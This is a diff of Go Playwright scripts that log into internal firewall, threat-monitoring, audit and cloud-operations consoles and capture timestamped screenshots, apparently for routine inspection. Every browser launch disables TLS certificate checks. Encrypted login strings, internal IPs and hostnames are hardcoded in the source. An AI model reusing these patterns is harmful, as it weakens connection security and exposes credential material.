// 启动浏览器(Chromium)
|
||||
browser, err := pw.Chromium.Launch(playwright.BrowserTypeLaunchOptions{
|
||||
Headless: playwright.Bool(false), // 设置为 false 以显示浏览器界面
|
||||
Args: []string{
|
||||
"--ignore-certificate-errors", // 忽略证书错误[^28^][^29^]
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatalf("could not launch browser: %v", err)
|
||||
}
|
||||
defer browser.Close()
|
||||
|
||||
// 创建一个新页面
|
||||
page, err := browser.NewPage()
|
||||
if err != nil {
|
||||
log.Fatalf("could not create page: %v", err)
|
||||
}
|
||||
// 设置浏览器窗口大小
|
||||
err = page.SetViewportSize(1920, 1080) // 宽度为 1200px,高度为 800px
|
||||
if err != nil {
|
||||
log.Fatalf("无法设置浏览器窗口大小: %v", err)
|
||||
}
|
||||
|
||||
// 导航到指定网址
|
||||
_, err = page.Goto("https://11.2.68.146/", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateDomcontentloaded})
|
||||
if err != nil {
|
||||
log.Fatalf("could not go to the page: %v", err)
|
||||
}
|
||||
|
||||
page.WaitForTimeout(3000)
|
||||
//输入
|
||||
if err := page.Locator(`#user_name`).Fill(tool.KeyStr("Y1fK+gTcxy+3fnbL3XBH5416Z0UoeWMcPXkZjL2B1wu9eEmrS8yLybLUoCZWIUSPaWP/FV8IWWX4tOv+4TkPH9My+CsN1QGxVrMYG/+C2uGQrj5zVbGqWaNUkJhYmtGCvvEmEX9fdIMM+uzl21eEjXJCgudL5WXFwEJTzerxitHqAOI9jLsT5M84ajAFLCjVpKHRiplN93qtB8z2hLDxaYqRhXPW2hntmv1iE6xA9sRIWWJ6BCB8uzCWM1UhwRx36MCnFNZcB7gaAh827S5P0SGstCqu2PTjChbe0Ti1w59iR+t7BkoeyFdE/9XLtJLB6UPwW4rTTDiE/Ffyyd6IJA==")); err != nil {
|
||||
log.Fatalf("could not fill input: %v", err)
|
||||
}
|
||||
if err := page.Locator(`#password`).Fill(tool.KeyStr("1xyi36noaSo8ujj4VM4gjVRwu1tb/yffyz+6DV1n3m2xSPaPtq0LfsrTSo1X2ZCrNgJy2+PKeRU88386n1uaN63hXd7Ezn6l0LQzQH+etFB8f7Z3l3yf6o3qjvHFdQx4sSzx7/HtOlsdh7hasm62fBEeXr7wdceRAz62B2TwXA/U+d6NXbudPOcoukETgyzGAdPBcfU0m9y7RMH3rQNWc3LjJfhBe5Ihpsy/HefKLMnAAtCFQoLBBWzgiKyI6zsQgSH2mXbiK4GWasXyNxJvwKyY1cB+tbMbYooU1n2u1zz8GxQ4LunLCabkh0irVdsYfrtt/xhgjTCdc+GaI5BBaw==")); err != nil {
|
||||
log.Fatalf("could not fill input: %v", err)
|
||||
}
|
||||
//登录
|
||||
if err := page.Locator("#login_button").Click(); err != nil {
|
||||
log.Fatalf("could not click button: %v", err)
|
||||
}
|
||||
page.WaitForTimeout(1000)
|
||||
page.Evaluate(`
|
||||
const now = new Date();
|
||||
const year = now.getFullYear();
|
||||
const month = (now.getMonth() + 1).toString().padStart(2, '0');
|
||||
const day = now.getDate().toString().padStart(2, '0');
|
||||
const hours = now.getHours().toString().padStart(2, '0');
|
||||
const minutes = now.getMinutes().toString().padStart(2, '0');
|
||||
const seconds = now.getSeconds().toString().padStart(2, '0');
|
||||
const timestamp = year+"-"+month+"-"+day +" "+ hours+":"+minutes+":"+seconds;
|
||||
const div = document.createElement('div');
|
||||
div.style.position = 'fixed';
|
||||
div.style.bottom = '10px';
|
||||
div.style.right = '10px';
|
||||
div.style.color = 'white';
|
||||
div.style.backgroundColor = 'black';
|
||||
div.style.padding = '5px';
|
||||
div.style.borderRadius = '5px';
|
||||
div.textContent = timestamp;
|
||||
document.body.appendChild(div);
|
||||
`, nil)
|
||||
page.WaitForTimeout(1000)
|
||||
page.Locator(`#leftmenu-body tr[data-recordid="M_ThreatLog"] div.x-grid-cell-inner.x-grid-cell-inner-treecolumn a.x-tree-node-text`).Click()
|
||||
page.WaitForTimeout(2000)
|
||||
page.Locator(`#button-1174-btnEl`).Click()
|
||||
page.WaitForTimeout(1000)
|
||||
page.Locator(`#combobox-1302-bodyEl #combobox-1302-inputEl`).Click()
|
||||
page.WaitForTimeout(1000)
|
||||
page.Locator(`#boundlist-1330-listEl li[title="Untrust"]`).Click()
|
||||
page.WaitForTimeout(500)
|
||||
page.Locator(`#combobox-1303-bodyEl #combobox-1303-inputEl`).Click()
|
||||
page.WaitForTimeout(500)
|
||||
page.Locator(`#boundlist-1335-listEl li[title="Trust"]`).Click()
|
||||
page.WaitForTimeout(500)
|
||||
page.Locator(`#button-1322-btnIconEl`).Click()
|
||||
page.WaitForTimeout(1000)
|
||||
// page.Screenshot(playwright.PageScreenshotOptions{
|
||||
// Path: playwright.String("img/hw_fw1.png"),
|
||||
// FullPage: playwright.Bool(true),
|
||||
// })
|
||||
tool.Jietu("img/hw_fw1.png")
|
||||
page.WaitForTimeout(2000)
|
||||
// 获取页面标题
|
||||
title, err := page.Title()
|
||||
if err != nil {
|
||||
log.Fatalf("could not get title: %v", err)
|
||||
}
|
||||
log.Printf("Page title is: %s\n", title)
|
||||
// cookies, err := page.Context().Cookies("https://11.2.68.146/wnm/get.j")
|
||||
// if err != nil {
|
||||
// log.Println(err)
|
||||
// }
|
||||
// var cookieStr string
|
||||
// for i, cookie := range cookies {
|
||||
// cookieStr += fmt.Sprintf("%s=%s;", cookie.Name, cookie.Value)
|
||||
// log.Printf("Cookie %d: %+v", i, cookie)
|
||||
// }
|
||||
// log.Println(cookieStr)
|
||||
// attackevent.Fw_event(cookieStr)
|
||||
// conf.SET_Config_yaml("cookie", cookieStr) //临时存放数据
|
||||
// StartBlocker()
|
||||
page.WaitForTimeout(5000)
|
||||
}
|
127
method/hw_tsgz.go
Normal file
@ -0,0 +1,127 @@
|
||||
package method
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"dt_automate/tool"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
|
||||
"github.com/playwright-community/playwright-go"
|
||||
)
|
||||
|
||||
func HW_TSGZ() {
|
||||
// 启动 Playwright
|
||||
pw, err := playwright.Run()
|
||||
if err != nil {
|
||||
log.Fatalf("could not start Playwright: %v", err)
|
||||
}
|
||||
defer pw.Stop()
|
||||
|
||||
// 启动浏览器(Chromium)
|
||||
browser, err := pw.Chromium.Launch(playwright.BrowserTypeLaunchOptions{
|
||||
Headless: playwright.Bool(false), // 设置为 false 以显示浏览器界面
|
||||
Args: []string{
|
||||
"--ignore-certificate-errors", // 忽略证书错误[^28^][^29^]
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatalf("could not launch browser: %v", err)
|
||||
}
|
||||
defer browser.Close()
|
||||
|
||||
// 创建一个新页面
|
||||
page, err := browser.NewPage()
|
||||
if err != nil {
|
||||
log.Fatalf("could not create page: %v", err)
|
||||
}
|
||||
// 设置浏览器窗口大小
|
||||
err = page.SetViewportSize(1920, 1080) // 宽度为 1200px,高度为 800px
|
||||
if err != nil {
|
||||
log.Fatalf("无法设置浏览器窗口大小: %v", err)
|
||||
}
|
||||
|
||||
// 导航到指定网址
|
||||
_, err = page.Goto("https://11.2.65.21/", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateDomcontentloaded})
|
||||
if err != nil {
|
||||
log.Fatalf("could not go to the page: %v", err)
|
||||
}
|
||||
|
||||
page.WaitForTimeout(2000)
|
||||
page.Locator(`.verification-item .el-image`).Screenshot(playwright.LocatorScreenshotOptions{
|
||||
Path: playwright.String("img/capt.png"),
|
||||
})
|
||||
a := page.Locator(`.el-input__inner`)
|
||||
// result := wtch_ocr.OcrDefault("img/capt.png")
|
||||
// if len(result.OcrResponse[0].Text) == 4 {
|
||||
// log.Println("读取验证码:", result.OcrResponse[0].Text)
|
||||
// a.Nth(2).Fill(result.OcrResponse[0].Text)
|
||||
// } else {
|
||||
// page.WaitForTimeout(500)
|
||||
// page.Locator(".verification-item .el-image .el-image__inner").Click()
|
||||
// }
|
||||
|
||||
// Screenshot(playwright.PageScreenshotOptions{})
|
||||
// (playwright.PageScreenshotOptions{
|
||||
// Path: playwright.String("img/capg.png"),
|
||||
// FullPage: playwright.Bool(true),
|
||||
// })
|
||||
//输入
|
||||
a.Nth(0).Fill(tool.KeyStr("38u5W6/UI21Tq2v/7jkwIqRIFTP7wbYL0rZNgCF7/l3EX6A0yMKYEzN5IyWpsKHSb8SX3ZPIZu/5wqe3qiKVT4O0PovqyeP9u7uS+bK0UdXEi6xji1p8JioSndZppoYBbXb1d6+0lJ0Jjd0K1COmglP2+vE+ENi8pkxOPxDr6X88Arpev1SNBz2a4FV7TdDkfvsw8st2UO+WzJRsmUVRFgkY7v1ItZaqSfIo0tnte0MA68JEuH6eho2q/5vDDlqly925Er9IBhqJ+OGFkB0J7ZmZ7bUX1UJfezqFJaWEa/0iKw6lx+6itG96TUimviKjVs3D9bCqNTwodberriMkcw=="))
|
||||
page.WaitForTimeout(500)
|
||||
a.Nth(1).Fill(tool.KeyStr("nULccm0ElOVYuKvSqMmBJ6pAOFnIn6r/gIzW5MRcef63NWlZVpn4uFOrNFh2vVhSRQRK7elPLFu5XJkH16UZ9BmLnhD62yVJK+giClXX3Z4qEeQjB+sNf8C44JIl0n7RQ9K+vy0BAxJspMmH7R8d5Ixf2mmRdLzuFiO6ZtYoh5XNScrzz9OTl8fWi9afpzdKS4lL5b6yv5XiuG8Bx3mUJD+KDx0jZl86DlVidBEs9Qf4W3iV5UUvrKYnGsSIeV3BBCSuqXw3VdwLP5FMdWyiZnlLFjtxX1n9+5KpvOvkC0/zUccG/nv0K0VmgvGaAylJnbLzDEDiPgJCA+V88qeQXw=="))
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
fmt.Print("请输入验证码:")
|
||||
input, _ := reader.ReadString('\n')
|
||||
a.Nth(2).Fill(input)
|
||||
page.WaitForTimeout(500)
|
||||
//点击同意
|
||||
if err := page.Locator(`.el-checkbox__inner`).Click(); err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
//登录
|
||||
page.WaitForTimeout(1000)
|
||||
if err := page.Locator(`.el-button.el-button--primary.el-button--large.login-button`).Click(); err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
page.WaitForTimeout(500)
|
||||
_, err = page.Goto("https://11.2.65.21/#/threatCenter/asset")
|
||||
page.WaitForTimeout(1000)
|
||||
page.Evaluate(`
|
||||
const now = new Date();
|
||||
const year = now.getFullYear();
|
||||
const month = (now.getMonth() + 1).toString().padStart(2, '0');
|
||||
const day = now.getDate().toString().padStart(2, '0');
|
||||
const hours = now.getHours().toString().padStart(2, '0');
|
||||
const minutes = now.getMinutes().toString().padStart(2, '0');
|
||||
const seconds = now.getSeconds().toString().padStart(2, '0');
|
||||
const timestamp = year+"-"+month+"-"+day +" "+ hours+":"+minutes+":"+seconds;
|
||||
const div = document.createElement('div');
|
||||
div.style.position = 'fixed';
|
||||
div.style.bottom = '10px';
|
||||
div.style.right = '10px';
|
||||
div.style.color = 'white';
|
||||
div.style.backgroundColor = 'black';
|
||||
div.style.padding = '5px';
|
||||
div.style.borderRadius = '5px';
|
||||
div.textContent = timestamp;
|
||||
document.body.appendChild(div);
|
||||
`, nil)
|
||||
page.Locator(`.el-range-input`).Nth(0).Click()
|
||||
page.WaitForTimeout(500)
|
||||
page.Locator(`.el-picker-panel__shortcut`).Nth(0).Click()
|
||||
page.WaitForTimeout(300)
|
||||
page.Locator(`.display-inline-flex.align-items-center.justify-content-end.advanced-search-wrapper .el-button.el-button--primary`).Click()
|
||||
page.WaitForTimeout(1000)
|
||||
tool.Jietu("img/hw_tsgz.png")
|
||||
page.WaitForTimeout(2000)
|
||||
// 获取页面标题
|
||||
title, err := page.Title()
|
||||
if err != nil {
|
||||
log.Fatalf("could not get title: %v", err)
|
||||
}
|
||||
log.Printf("Page title is: %s\n", title)
|
||||
|
||||
// StartBlocker()
|
||||
page.WaitForTimeout(5000)
|
||||
}
|
33
method/zuduan.go
Normal file
@ -0,0 +1,33 @@
|
||||
package method
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
)
|
||||
|
||||
// 定义一个阻断器通道
|
||||
var blocker = make(chan struct{})
|
||||
|
||||
// 定义一个信号通道,用于中断阻断器
|
||||
var interrupt = make(chan struct{})
|
||||
|
||||
// StartBlocker 启动阻断器
|
||||
func StartBlocker() {
|
||||
func() {
|
||||
fmt.Println("阻断器启动,等待中断信号...")
|
||||
for {
|
||||
select {
|
||||
case <-blocker: // 阻塞等待
|
||||
fmt.Println("阻断器正在运行...")
|
||||
case <-interrupt: // 接收到中断信号
|
||||
fmt.Println("接收到中断信号,阻断器即将终止")
|
||||
return // 退出阻断器
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// InterruptBlocker 发送中断信号
|
||||
func InterruptBlocker() {
|
||||
interrupt <- struct{}{}
|
||||
fmt.Println("中断信号已发送")
|
||||
}
|
106
method/zww_baolj.go
Normal file
@ -0,0 +1,106 @@
|
||||
package method
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"dt_automate/tool"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
|
||||
"github.com/playwright-community/playwright-go"
|
||||
)
|
||||
|
||||
func ZWWW_BAOLJ() {
|
||||
|
||||
// 启动 Playwright
|
||||
pw, err := playwright.Run()
|
||||
if err != nil {
|
||||
log.Fatalf("could not start Playwright: %v", err)
|
||||
}
|
||||
defer pw.Stop()
|
||||
|
||||
// 启动浏览器(Chromium)
|
||||
browser, err := pw.Chromium.Launch(playwright.BrowserTypeLaunchOptions{
|
||||
Headless: playwright.Bool(false), // 设置为 false 以显示浏览器界面
|
||||
Args: []string{
|
||||
"--ignore-certificate-errors", // 忽略证书错误[^28^][^29^]
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatalf("could not launch browser: %v", err)
|
||||
}
|
||||
defer browser.Close()
|
||||
|
||||
// 创建一个新页面
|
||||
page, err := browser.NewPage()
|
||||
if err != nil {
|
||||
log.Fatalf("could not create page: %v", err)
|
||||
}
|
||||
// 设置浏览器窗口大小
|
||||
err = page.SetViewportSize(1920, 1080) // 宽度为 1200px,高度为 800px
|
||||
if err != nil {
|
||||
log.Fatalf("无法设置浏览器窗口大小: %v", err)
|
||||
}
|
||||
|
||||
// 导航到指定网址
|
||||
_, err = page.Goto("https://11.1.65.22/webui/login", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateDomcontentloaded})
|
||||
if err != nil {
|
||||
log.Fatalf("could not go to the page: %v", err)
|
||||
}
|
||||
|
||||
page.WaitForTimeout(4000)
|
||||
page.Locator(`#inputUserName`).Fill(tool.KeyStr("tEGZ+KBYPVlup4kvg35r0/0LHGs3Y8D3sxgbSbw/q51TodzFA6owWejvE6CA3HnYqPJ5EB1Ws99iTzE8YFMmAp9JHefcqcjTd61ViNZMz6aQ9GnGAXcfD5ajEEjnaO5JiFkdwhwjuh73KO3B5evxzJ9ft31/8vos7o1HioBE9W97iOWfMALqN2/DpISk6VXqBcyz4a9OB6j3cU1dDoM+mqct5ES+QucTPdy64aGQZ8bBGiGHgl6CTZaUmnOMEaZROfuIid9cIRO5/zrX1Kk00oiXxj/kDUiclqcZUAZNhQp8OUDnICn7nRxCfpO6jtjWw24PAdx5BQxz41tScVvQNw=="))
|
||||
page.Locator(`#inputPassword`).Fill(tool.KeyStr("GRK8wZZe3HEWv3YcKh8ckDncZsZq6xUDpcQn5IhetQ8zzu2IjVk8EpZZ9LbScryUMjWKBz2gtRzlb7NLkfjZ0uLmAvnkVL2D8grWzQ5mLD1UwgSl8NYneyktPAivBP9nBO1oQrWgcH5o0Qi9aHIDRP3Stx7Xi3OmD7/1sCdz3EWMDD5r8rqsznXOts5pQXw8vDFA4xZb64nv8/uqwUO0ovEgDMmbVHdi1/PVuhWOIFqmuPPacFiGusG5H8zguTMFRXB++J7Dp3RoQnLFsaURj+bpaFzJzVbiR4IcyQ+qMPJ9Y4ChGIEwa7J1u9BUu2yKs1PJMdUHJo7ntMwQKGh8cQ=="))
|
||||
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
fmt.Print("是否需要输入验证码1允许,0跳过:")
|
||||
name, _ := reader.ReadString('\n')
|
||||
if name == "1" {
|
||||
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
fmt.Print("请输入验证码:")
|
||||
input, _ := reader.ReadString('\n')
|
||||
page.Locator(`#inputCaptcha`).Fill(input)
|
||||
}
|
||||
page.Locator(`.loginFormButtonLogin`).Click()
|
||||
reader1 := bufio.NewReader(os.Stdin)
|
||||
fmt.Print("请输入OTA口令:")
|
||||
input, _ := reader1.ReadString('\n')
|
||||
page.Locator(`.form-group.form-control.dynamic_code`).Nth(0).Locator(`input[name="token"]`).Fill(input)
|
||||
//登录
|
||||
page.Locator(`.form-group`).Nth(7).Locator(`button`).Nth(2).Click()
|
||||
page.WaitForTimeout(500)
|
||||
page.Goto("https://11.1.65.22/webui/#/business/audits/event/log/login", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateDomcontentloaded})
|
||||
page.WaitForTimeout(2000)
|
||||
page.Evaluate(`
|
||||
const now = new Date();
|
||||
const year = now.getFullYear();
|
||||
const month = (now.getMonth() + 1).toString().padStart(2, '0');
|
||||
const day = now.getDate().toString().padStart(2, '0');
|
||||
const hours = now.getHours().toString().padStart(2, '0');
|
||||
const minutes = now.getMinutes().toString().padStart(2, '0');
|
||||
const seconds = now.getSeconds().toString().padStart(2, '0');
|
||||
const timestamp = year+"-"+month+"-"+day +" "+ hours+":"+minutes+":"+seconds;
|
||||
const div = document.createElement('div');
|
||||
div.style.position = 'fixed';
|
||||
div.style.bottom = '10px';
|
||||
div.style.right = '10px';
|
||||
div.style.color = 'white';
|
||||
div.style.backgroundColor = 'black';
|
||||
div.style.padding = '5px';
|
||||
div.style.borderRadius = '5px';
|
||||
div.textContent = timestamp;
|
||||
document.body.appendChild(div);
|
||||
`, nil)
|
||||
page.WaitForTimeout(1000)
|
||||
tool.Jietu("img/zww_baolj.png")
|
||||
// 获取页面标题
|
||||
title, err := page.Title()
|
||||
if err != nil {
|
||||
log.Fatalf("could not get title: %v", err)
|
||||
}
|
||||
log.Printf("Page title is: %s\n", title)
|
||||
|
||||
// StartBlocker()
|
||||
page.WaitForTimeout(5000)
|
||||
}
|
157
method/zww_dtcloud.go
Normal file
@ -0,0 +1,157 @@
|
||||
package method
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"dt_automate/tool"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
|
||||
"github.com/playwright-community/playwright-go"
|
||||
)
|
||||
|
||||
func ZWW_DTCLOUD() {
|
||||
// 启动 Playwright
|
||||
pw, err := playwright.Run()
|
||||
if err != nil {
|
||||
log.Fatalf("could not start Playwright: %v", err)
|
||||
}
|
||||
defer pw.Stop()
|
||||
|
||||
// 启动浏览器(Chromium)
|
||||
browser, err := pw.Chromium.Launch(playwright.BrowserTypeLaunchOptions{
|
||||
Headless: playwright.Bool(false), // 设置为 false 以显示浏览器界面
|
||||
Args: []string{
|
||||
"--ignore-certificate-errors", // 忽略证书错误[^28^][^29^]
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatalf("could not launch browser: %v", err)
|
||||
}
|
||||
defer browser.Close()
|
||||
|
||||
// 创建一个新页面
|
||||
page, err := browser.NewPage()
|
||||
if err != nil {
|
||||
log.Fatalf("could not create page: %v", err)
|
||||
}
|
||||
// 设置浏览器窗口大小
|
||||
err = page.SetViewportSize(1920, 1080) // 宽度为 1200px,高度为 800px
|
||||
if err != nil {
|
||||
log.Fatalf("无法设置浏览器窗口大小: %v", err)
|
||||
}
|
||||
|
||||
// 导航到指定网址
|
||||
_, err = page.Goto("https://ops.zww.dtcloud.com/login", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit})
|
||||
if err != nil {
|
||||
log.Fatalf("could not go to the page: %v", err)
|
||||
}
|
||||
|
||||
// page.WaitForTimeout(4000)
|
||||
//输入用户名
|
||||
page.Locator(`.el-input__inner`).Nth(0).Fill(tool.KeyStr("rpcI3bxLzCdjgBOnML5A/7tajCNKxi3ditUNMIPVqd9jAG0mMy8XQCvkPh5pJ1OKUIGK0UyEaD1tvigSlTTpH0VQJXIExhLaEhbDZFJxZo6UM2yuarvsYQ0uceridCvK1izQEypk98UcuFwyyd9WOklIjOaz8fW0pYv3C+JnXBOHpnvWVyPAaAirr5jtKmOsnBEIvv7XXVHnS1zSd4f5UbVjVZ5sfmPW064cHTJrqo45J6uboQ1AkI0ajiXWhYV3wiBTRfVcMatb4rirErBwG731Vte2rImu2BQmH+bgeDOFgE1UXOsH7pSOrQy6wky/aHxgH7lSvYZ8nTPSvGqW4w=="))
|
||||
//输入密码
|
||||
page.Locator(`.el-input__inner`).Nth(1).Fill(tool.KeyStr("YesC+4BrWvL3uvLRq0dWFnneTXnoMyvORhRjN9ZhU+85fWOLRf7naq/O51wbOXtOOPnPIlMjGstB7Lt0kVsNVrd4EEpVKfDZC9XSzB0SFVjR4P47gd02vjgR+6gWIkFhkDL70Bx7Z3+Shg7JSqTovJtpMKisamfLfcnu6J9exbmvGMAQk4vr+cha2QWeD/kBExW/SnYueL4RBiZVTtumbTq8gBIj8uceCL9NpvEPGnverflIiYn+fUGH3xhY+y8sCa7NZA3YXXqTxF6FYC0cTsXqpv+O9EuK81fGXIswt2Y/O8hIE5Qp3jmdxmkxr/zlnVjP1vZs7zS4ONkogXOhzA=="))
|
||||
|
||||
reader := bufio.NewReader(os.Stdin)
|
||||
fmt.Print("请输入验证码:")
|
||||
input, _ := reader.ReadString('\n')
|
||||
|
||||
//输入验证码
|
||||
page.Locator(`.el-input__inner`).Nth(2).Fill(input)
|
||||
log.Println("当前验证码为:", input)
|
||||
page.WaitForTimeout(2000)
|
||||
//登录
|
||||
if err := page.Locator(".el-button.login-form-item.login-btn.el-button--primary").Click(); err != nil {
|
||||
log.Fatalf("could not click button: %v", err)
|
||||
}
|
||||
page.WaitForTimeout(20000)
|
||||
//运维中心主页
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/zww_dtcloud_man.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
// tool.Jietu("img/hw_dtcloud_man.png")
|
||||
log.Printf("Page title is: %s\n", "运维中心主页")
|
||||
page.Goto("https://ops.zww.dtcloud.com/console/om/capacity/overview?regionId=-1", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit}) //跳转到运维中心概览
|
||||
page.WaitForTimeout(20000)
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/zww_dtcloud_01.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
// tool.Jietu("img/hw_dtcloud_01.png")
|
||||
log.Printf("Page title is: %s\n", "运维中心概览")
|
||||
page.Goto("https://ops.zww.dtcloud.com/console/om/capacity/resource?regionId=-1", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit}) //运维-资源容量
|
||||
page.WaitForTimeout(20000)
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/zww_dtcloud_02.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
// tool.Jietu("img/hw_dtcloud_02.png")
|
||||
log.Printf("Page title is: %s\n", "运维-资源容量")
|
||||
page.Goto("https://ops.zww.dtcloud.com/region/dtcloud2/console/om/monitor/overview", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit}) //监控-概览
|
||||
page.WaitForTimeout(20000)
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/zww_dtcloud_03.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
// tool.Jietu("img/hw_dtcloud_03.png")
|
||||
log.Printf("Page title is: %s\n", "监控-概览")
|
||||
page.Goto("https://ops.zww.dtcloud.com/region/dtcloud2/console/om/monitor/resource", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit}) //监控-资源监控-物理服务器
|
||||
page.WaitForTimeout(20000)
|
||||
page.Locator(`.arco-tree.arco-tree-show-line`).Locator(`div`).Nth(8).Locator(`span`).Nth(2).Locator(`span`).Nth(0).Click()
|
||||
page.Locator(`div[data-test-id="PhysicalServer"]`).Click()
|
||||
page.WaitForTimeout(4000)
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/zww_dtcloud_04.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
// tool.Jietu("img/hw_dtcloud_04.png")
|
||||
log.Printf("Page title is: %s\n", "监控-资源监控-物理服务器")
|
||||
page.Goto("https://ops.zww.dtcloud.com/region/dtcloud2/console/om/alert/view", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit}) //监控-告警-告警查看
|
||||
page.WaitForTimeout(20000)
|
||||
page.Locator(`.arco-space-item`).Nth(0).Locator(`div`).Nth(1).Locator(`button`).Click()
|
||||
page.WaitForTimeout(6000)
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/zww_dtcloud_05.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
// tool.Jietu("img/hw_dtcloud_05.png")
|
||||
log.Printf("Page title is: %s\n", "监控-告警-告警查看")
|
||||
page.Goto("https://ops.zww.dtcloud.com/region/dtcloud2/console/om/alert/history", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit}) //监控-告警历史
|
||||
page.WaitForTimeout(20000)
|
||||
page.Locator(`.arco-btn.arco-btn-outline.arco-btn-size-default.arco-btn-shape-square`).Nth(0).Click()
|
||||
page.WaitForTimeout(1000)
|
||||
page.Locator(`.arco-input-tag-input.arco-input-tag-input-size-default.arco-input-tag-input-autowidth`).Click()
|
||||
page.Locator(`.arco-select-option-wrapper`).Nth(0).Locator(`.arco-checkbox-mask`).Click()
|
||||
page.Locator(`.arco-btn.arco-btn-primary.arco-btn-size-mini.arco-btn-shape-square`).Click()
|
||||
page.WaitForTimeout(1000)
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/zww_dtcloud_06.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
// tool.Jietu("img/hw_dtcloud_06.png")
|
||||
log.Printf("Page title is: %s\n", "监控-告警--告警历史")
|
||||
page.Goto("https://ops.zww.dtcloud.com/region/dtcloud2/console/om/health-inspection/outputs?page=1&size=10&order=createTime%3Adesc&searchResult=%7B%7D", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit}) //运维-监控巡检-巡检结果
|
||||
page.WaitForTimeout(20000)
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/zww_dtcloud_07.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
// tool.Jietu("img/hw_dtcloud_07.png")
|
||||
log.Printf("Page title is: %s\n", "运维-监控巡检-巡检结果")
|
||||
page.Goto("https://ops.zww.dtcloud.com/console/om/capacity/service?regionId=-1", playwright.PageGotoOptions{WaitUntil: playwright.WaitUntilStateCommit}) //运维-容量-云服务容量
|
||||
page.WaitForTimeout(20000)
|
||||
page.Screenshot(playwright.PageScreenshotOptions{
|
||||
Path: playwright.String("img/zww_dtcloud_08.png"),
|
||||
FullPage: playwright.Bool(false),
|
||||
})
|
||||
log.Printf("Page title is: %s\n", "运维-容量-云服务容量")
|
||||
// 获取页面标题
|
||||
title, err := page.Title()
|
||||
if err != nil {
|
||||
log.Fatalf("could not get title: %v", err)
|
||||
}
|
||||
log.Printf("Page title is: %s\n", title)
|
||||
page.WaitForTimeout(5000)
|
||||
}
|
110
method/zww_fw1.go
Normal file
@ -0,0 +1,110 @@
|
||||
package method
|
||||
|
||||
import (
|
||||
"dt_automate/tool"
|
||||
"log"
|
||||
|
||||
"github.com/playwright-community/playwright-go"
|
||||
)
|
||||
|
||||
func ZWW_FW1() {
|
||||
// 启动 Playwright
|
||||
pw, err := playwright.Run()
|
||||
if err != nil {
|
||||
log.Fatalf("could not start Playwright: %v", err)
|
||||
}
|
||||
defer pw.Stop()
|
||||
|
||||
// 启动浏览器(Chromium)
|
||||
browser, err := pw.Chromium.Launch(playwright.BrowserTypeLaunchOptions{
|
||||
Headless: playwright.Bool(false), // 设置为 false 以显示浏览器界面
|
||||
Args: []string{
|
||||
"--ignore-certificate-errors", // 忽略证书错误[^28^][^29^]
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
log.Fatalf("could not launch browser: %v", err)
|
||||
}
|
||||
defer browser.Close()
|
||||
|
||||
// 创建一个新页面
|
||||
page, err := browser.NewPage()
|
||||
if err != nil {
|
||||
log.Fatalf("could not create page: %v", err)
|
||||
}
|
||||
// 设置浏览器窗口大小
|
||||
err = page.SetViewportSize(1920, 1080) // 宽度为 1200px,高度为 800px
|
||||
if err != nil {
|
||||
log.Fatalf("无法设置浏览器窗口大小: %v", err)
|
||||
}
|
||||
|
||||
// 导航到指定网址
|
||||
_, err = page.Goto("https://11.1.68.146")
|
||||
if err != nil {
|
||||
log.Fatalf("could not go to the page: %v", err)
|
||||
}
|
||||
|
||||
page.WaitForTimeout(2000)
|
||||
//输入
|
||||
